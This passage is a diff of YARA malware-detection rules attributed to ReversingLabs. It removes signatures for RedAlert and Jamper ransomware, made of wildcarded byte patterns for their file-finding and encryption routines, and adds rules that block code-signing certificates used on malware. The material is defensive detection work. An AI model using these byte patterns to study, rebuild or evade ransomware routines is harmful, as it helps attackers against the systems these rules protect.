?? ?? ?? ?? 3B D0 89 55 ?? 0F 83 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ?? - 8B 45 ?? 85 C0 74 ?? 83 7F ?? ?? 75 ?? 39 47 ?? 0F 82 ?? ?? ?? ?? 8D 44 36 ?? 50 8D - 47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50 - E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 83 C0 ?? 50 E8 - ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 45 ?? 03 C6 8D 44 00 ?? 83 C0 ?? 50 6A ?? FF - 35 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? FF 75 ?? 6A - ?? 56 E8 ?? ?? ?? ?? 8B 45 ?? 8D 44 00 ?? 50 FF 75 ?? 8D 46 ?? 50 89 76 ?? 89 36 E8 - ?? ?? ?? ?? 8B 45 ?? 89 46 ?? 8B 45 ?? 89 46 ?? 8B 07 89 46 ?? 8B 47 ?? 89 46 ?? 8B - } - $find_files_p2 = { - 47 ?? 89 46 ?? 8B 47 ?? 89 46 ?? 8B 47 ?? 83 C4 ?? 89 46 ?? 83 3B ?? 74 ?? 53 FF 15 - ?? ?? ?? ?? 8D 43 ?? 8B 48 ?? 89 06 89 4E ?? 89 31 89 70 ?? FF 43 ?? 83 7B ?? ?? 74 - ?? 8B 43 ?? 83 F8 ?? 75 ?? FF 73 ?? FF 15 ?? ?? ?? ?? 83 3B ?? 0F 84 ?? ?? ?? ?? 53 - FF 15 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? F6 45 ?? ?? 74 ?? 8D 4C 0E ?? 3B - C8 73 ?? 8D 04 36 50 8D 47 ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 8D 04 41 - 66 83 60 ?? ?? 83 C4 ?? 83 7D ?? ?? 66 C7 00 ?? ?? 74 ?? 83 C1 ?? 51 8B 4D ?? E8 ?? - ?? ?? ?? 85 C0 75 ?? 8B 4D ?? FF 75 ?? 8B 45 ?? 53 FF 75 ?? 8D 44 06 ?? FF 75 ?? 50 - 51 E8 ?? ?? ?? ?? 89 45 ?? EB ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 ?? F6 45 ?? ?? - 74 ?? 83 65 ?? ?? 83 7D ?? ?? 75 ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 43 - ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5E 57 6A ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5B EB - ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 5F C9 C2 - } - $encrypt_files_p1 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 FF 75 ?? 8B 3D ?? ?? ?? ?? FF 75 ?? FF D7 85 C0 - 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 45 ?? 75 ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? F6 C3 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ?? - ?? ?? ?? 85 C0 75 ?? 33 DB 85 DB 89 5D ?? 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 75 ?? E8 ?? - ?? ?? ?? 89 45 ?? EB ?? 83 65 ?? ?? 33 C9 39 4D ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 39 4D ?? 74 ?? 8B 45 ?? 8B 10 8B 40 ?? C1 65 ?? ?? 89 55 ?? 89 45 - ?? EB ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 4D ?? 8B 45 ?? 89 45 ?? 89 4D ?? 89 4D ?? - 8B 5D ?? 33 F6 8B 45 ?? 85 C0 89 45 ?? 74 ?? 3B D8 73 ?? 89 5D ?? 2B 45 ?? 89 45 ?? - 75 ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 8B 7D ?? 8D 45 ?? 50 57 8D 47 ?? 50 FF 75 - ?? 8B 45 ?? 03 C6 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 03 75 ?? 85 C0 89 45 ?? 0F - } - $encrypt_files_p2 = { - 85 ?? ?? ?? ?? 2B 5D ?? 75 ?? EB ?? 8B 7D ?? 8B 45 ?? 0B 45 ?? 0F 84 ?? ?? ?? ?? 33 - C0 3B 45 ?? 77 ?? 72 ?? 3B 5D ?? 73 ?? 8B C3 EB ?? 8B 45 ?? 29 45 ?? 8B 4D ?? 83 5D - ?? ?? 0B 4D ?? 75 ?? 8B 4D ?? 89 4D ?? 03 F0 2B D8 0F 85 ?? ?? ?? ?? 8B 45 ?? 8B 4D - ?? 0F AC C8 ?? C1 E9 ?? 85 C0 74 ?? B9 ?? ?? ?? ?? F7 E1 29 45 ?? 19 55 ?? 01 45 ?? - 11 55 ?? 83 7D ?? ?? 75 ?? 8D 75 ?? E8 ?? ?? ?? ?? 85 C0 89 45 ?? 0F 84 ?? ?? ?? ?? - 8B 7D ?? 8D 47 ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 74 ?? 83 7D ?? - ?? 74 ?? 8B 4D ?? 8B 45 ?? 8B D1 0B D0 74 ?? 0F AC C1 ?? C1 E8 ?? 83 4F ?? ?? 89 4F - ?? 89 75 ?? 39 75 ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39 - 75 ?? 74 ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 45 ?? 89 45 ?? 85 DB 0F 85 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 01 75 ?? 83 55 ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 75 ?? FF - D7 EB ?? FF 15 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 5F 5E 5B C9 C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ding Ruan" and pe.signatures [ i ] . serial == "45:fb:cd:b1:fb:d3:d7:02:fb:77:25:7b:45:d8:c5:8e" and 1476662400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Linux_Ransomware_Redalert : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4B5D8Ed5Ca011679F141F124 : INFO FILE { meta: - description = "Yara rule that detects RedAlert ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ec7567bf-2c39-529f-ae93-74270a161827" - date = "2022-09-01" - modified = "2022-09-01" + id = "c8bc0968-29d0-51a9-8cfe-7c8f447cef3d" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Linux.Ransomware.RedAlert.yara#L1-L146" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13710-L13726" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fe0d10c2ef1dacdb5374f319e470274b91f4f171db49de8c89e8aaa9aa75a45c" + logic_hash = "39ff0d5fd711524ce181596033d1d51579cd086eb20b87722aebf39623bbaa17" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "RedAlert" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 41 57 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 74 24 ?? BE ?? ?? ?? ?? 48 - 89 54 24 ?? 48 89 4C 24 ?? 4C 89 44 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 75 ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 89 C3 75 ?? BF ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 48 8D 54 24 ?? - 89 C6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? FF C0 75 ?? BF ?? ?? ?? ?? EB ?? 4C 8B B4 24 ?? - ?? ?? ?? 4D 85 F6 7F ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? EB ?? 49 - 81 FE ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 97 44 24 ?? 49 81 FE ?? ?? ?? ?? 0F 97 - 44 24 ?? 80 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 4C 89 F0 C7 44 24 ?? ?? ?? ?? ?? 48 89 - D3 31 D2 48 F7 F3 48 6B C8 ?? 48 89 4C 24 ?? 49 81 FE ?? ?? ?? ?? 77 ?? 4D 89 F4 41 - BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 41 BC ?? ?? ?? ?? 45 31 ED C7 44 24 ?? - ?? ?? ?? ?? 4D 63 FD C7 44 24 ?? ?? ?? ?? ?? 4C 0F AF 7C 24 ?? E9 ?? ?? ?? ?? 80 7C - 24 ?? ?? 74 ?? 45 85 ED 74 ?? 80 7C 24 ?? ?? 74 ?? 41 8D 45 ?? 3B 44 24 ?? 4C 89 FE - 75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48 63 7C 24 ?? - 48 89 E9 4C 89 E2 48 03 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 39 E0 74 ?? BF ?? - ?? ?? ?? EB ?? 44 01 64 24 ?? 41 FF C5 44 3B 6C 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24 - ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84 C0 74 ?? BF ?? - ?? ?? ?? EB ?? 48 8D BC 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 85 C0 - 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 63 6C 24 ?? 45 89 E7 44 89 64 24 ?? 4C 0F AF - 6C 24 ?? C6 44 24 ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B 4C 24 ?? 41 B8 - ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 84 - } - $encrypt_files_p2 = { - C0 75 ?? 48 8B 54 24 ?? 48 8B 7C 24 ?? 48 89 E9 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 - 15 ?? ?? ?? ?? 48 39 D0 75 ?? 48 8B 44 24 ?? 48 89 E9 BE ?? ?? ?? ?? 0F B7 50 ?? 48 - 8B 38 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F B7 51 ?? 48 39 D0 74 ?? BF ?? ?? ?? ?? E9 ?? - ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 4C 03 7C 24 ?? 44 3B 6C 24 ?? 0F 8C ?? ?? ?? ?? E9 - ?? ?? ?? ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 80 7C - 24 ?? ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 80 7C 24 ?? ?? 74 ?? 8B 44 24 ?? 4C 89 EE FF C0 - 3B 44 24 ?? 75 ?? 49 8D B6 ?? ?? ?? ?? EB ?? 31 F6 31 D2 48 89 EF E8 ?? ?? ?? ?? 48 - 63 44 24 ?? 48 8B 5C 24 ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C9 31 - D2 45 89 E1 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 01 C3 48 8D 84 24 ?? - ?? ?? ?? 49 89 D8 48 89 1C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 48 89 E9 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 39 E0 0F 85 ?? ?? ?? ?? - FF 44 24 ?? 8B 54 24 ?? 8B 4C 24 ?? 01 54 24 ?? 39 4C 24 ?? 75 ?? 31 F6 BA ?? ?? ?? - ?? 48 89 EF E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 E9 BA ?? ?? ?? ?? BE ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8A 5C 24 ?? 48 83 F8 ?? B0 ?? 0F 44 D8 44 3B 7C 24 ?? 88 5C 24 - ?? 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 44 03 7C 24 ?? 4C 03 6C 24 ?? 8B 44 24 ?? 39 - 44 24 ?? 0F 8C ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 0F B6 44 24 ?? 48 81 C4 ?? ?? ?? - ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 - } - $find_files_p1 = { - 41 57 FC 41 56 41 55 41 54 49 89 FC 55 53 48 83 EC ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 - 4C 24 ?? 48 83 C9 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 88 54 24 ?? 48 89 - 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 44 8A BC 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 - ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 31 C0 F2 AE 4C 89 - E7 48 F7 D1 4C 8D 71 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 44 24 ?? 0F 85 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 38 E8 ?? ?? ?? ?? 48 83 C4 ?? 4C 89 E6 48 89 C2 5B 5D 41 5C 41 5D 41 - 5E 41 5F BF ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 45 84 FF 48 8D 6B ?? 74 ?? 0F B6 4B ?? - 48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ?? - 80 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 - ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BE ?? ?? - ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FC 31 C0 48 83 C9 ?? 48 89 EF - F2 AE 4C 89 F0 48 29 C8 48 3B 44 24 ?? 76 ?? 48 8B 3D ?? ?? ?? ?? 48 89 E9 4C 89 E2 - BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EE 48 8D 7B ?? - C6 03 ?? E8 ?? ?? ?? ?? 41 0F B6 C7 4C 8B 4C 24 ?? 4C 8B 44 24 ?? 89 44 24 ?? 48 8B - 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 74 24 ?? 4C 89 E7 48 89 44 24 ?? 48 8B - } - $find_files_p2 = { - 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 04 24 E8 - ?? ?? ?? ?? E9 ?? ?? ?? ?? 45 84 FF 0F 85 ?? ?? ?? ?? FC 48 83 C9 ?? 48 89 EF 44 88 - F8 F2 AE 48 8B 54 24 ?? 48 89 EF 48 89 CB 48 8B 4C 24 ?? 48 F7 D3 48 89 DE 4C 8D 6B - ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? - ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EA 4C - 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8D 7B ?? 48 89 EE C6 03 ?? E8 ?? ?? ?? - ?? 0F B7 0D ?? ?? ?? ?? 4C 89 E7 4C 8B 44 24 ?? 48 8B 54 24 ?? 48 8B 74 24 ?? FF 15 - ?? ?? ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? 48 8B 7C 24 ?? B9 ?? ?? ?? ?? 4C 89 E2 BE ?? - ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8B 74 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 8D 56 ?? - 4C 89 E6 E8 ?? ?? ?? ?? C6 03 ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C3 0F - 85 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F E9 - } - $setup_environment = { - 55 48 89 E5 41 56 49 89 F6 BE ?? ?? ?? ?? 41 55 41 54 53 48 89 FB 48 83 EC ?? E8 ?? - ?? ?? ?? 48 85 C0 49 89 C4 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7D ?? E8 ?? ?? - ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49 - 89 C4 74 ?? 0F B7 55 ?? 48 8B 7D ?? 48 89 C1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55 - ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55 ?? 31 C9 39 C2 0F 85 - ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? - ?? 49 89 E5 E8 ?? ?? ?? ?? 66 8B 3D ?? ?? 22 00 66 03 3D ?? ?? 22 00 66 8B 05 ?? ?? - 22 00 66 89 7D ?? 0F B7 FF 66 89 45 ?? E8 ?? ?? ?? ?? 0F B7 7D ?? 48 89 45 ?? E8 ?? - ?? ?? ?? 0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? 48 89 45 ?? E8 ?? ?? ?? ?? - 0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 75 ?? BF ?? ?? - ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 45 ?? 0F B7 35 ?? ?? ?? ?? 31 C9 48 8B 7D ?? 48 83 - C0 ?? 25 ?? ?? ?? ?? 48 29 C4 48 8D 5C 24 ?? 48 83 E3 ?? 48 89 DA E8 ?? ?? ?? ?? 48 - 89 DE BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 48 03 - 7D ?? E8 ?? ?? ?? ?? 66 39 05 ?? ?? 22 00 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 - EC 31 C9 EB ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D 75 ?? B9 ?? ?? ?? ?? 4C 89 F7 FC F3 A5 - B1 ?? EB ?? 4C 89 EC EB ?? 48 8D 65 ?? 89 C8 5B 41 5C 41 5D 41 5E C9 C3 - } - $make_configuration = { - 41 56 BE ?? ?? ?? ?? 49 89 FE BF ?? ?? ?? ?? 41 55 41 54 55 53 48 83 EC ?? E8 ?? ?? - ?? ?? 84 C0 88 C3 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 FF EB ?? BF ?? ?? ?? ?? E8 - ?? ?? ?? ?? BA ?? ?? ?? ?? 0F B7 F0 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 - ?? ?? ?? ?? B9 ?? ?? ?? ?? 49 89 C4 48 89 C2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? 66 C7 00 - ?? ?? C6 40 ?? ?? E8 ?? ?? ?? ?? 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 - E6 4C 89 E7 E8 ?? ?? ?? ?? 84 C0 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? - E8 ?? ?? ?? ?? FC 88 D8 BF ?? ?? ?? ?? 48 83 C9 ?? F2 AE 48 F7 D1 48 FF C9 8D 59 ?? - 83 C1 ?? 48 63 F9 E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 0F 84 ?? ?? ?? ?? 48 8D 78 ?? 48 - 63 D3 BE ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ?? - 48 85 C0 48 89 C3 BF ?? ?? ?? ?? 74 ?? 0F B7 54 24 ?? 48 8B 7C 24 ?? 48 89 C1 BE ?? - ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? BF ?? ?? ?? - ?? E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 F7 48 89 E6 B9 ?? ?? ?? ?? FC F3 A5 - 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E C3 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 - } - condition: - uint32( 0 ) == 0x464C457F and ( $setup_environment ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $make_configuration ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "4b:5d:8e:d5:ca:01:16:79:f1:41:f1:24" and 1480644725 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Jamper : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_33671F1Bcbd0F5E231Fc386F4895000E : INFO FILE { meta: - description = "Yara rule that detects Jamper ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9ba9358e-8f67-5d0e-a9bc-b3b10cd3a8b2" - date = "2020-06-26" - modified = "2020-07-15" + id = "0863e1ed-7b9c-5a60-82ac-eadc3c23fbd9" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Jamper.yara#L1-L110" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13728-L13744" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "826f8fa7cc92b279c609a9ab6a87c32940e37b4c2476854af75bbed29cb3eaf2" + logic_hash = "9199c8d76e3390ec9038808b4e88b803b3f3d6966af6206d0c9968d9ab673f31" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Jamper" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D - ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? - 89 45 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B - 45 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 - 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 83 - BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ?? 0F 8E ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB ?? 7E ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 85 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 - ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ?? B8 - } - $encrypt_files_p2 = { - E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 - ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 - ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 83 BD ?? ?? ?? ?? - ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? EB ?? 8D 45 ?? - E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B 08 FF 51 ?? 83 - BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? E8 ?? ?? ?? ?? - 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 - ?? ?? ?? ?? 8B 45 ?? 8B 18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ?? ?? ?? 59 EB ?? - 55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? 8B - 18 FF 53 ?? 55 E8 ?? ?? ?? ?? 59 B3 ?? 8D 45 ?? E8 ?? ?? ?? ?? 84 DB 74 ?? 8D 95 ?? - ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? 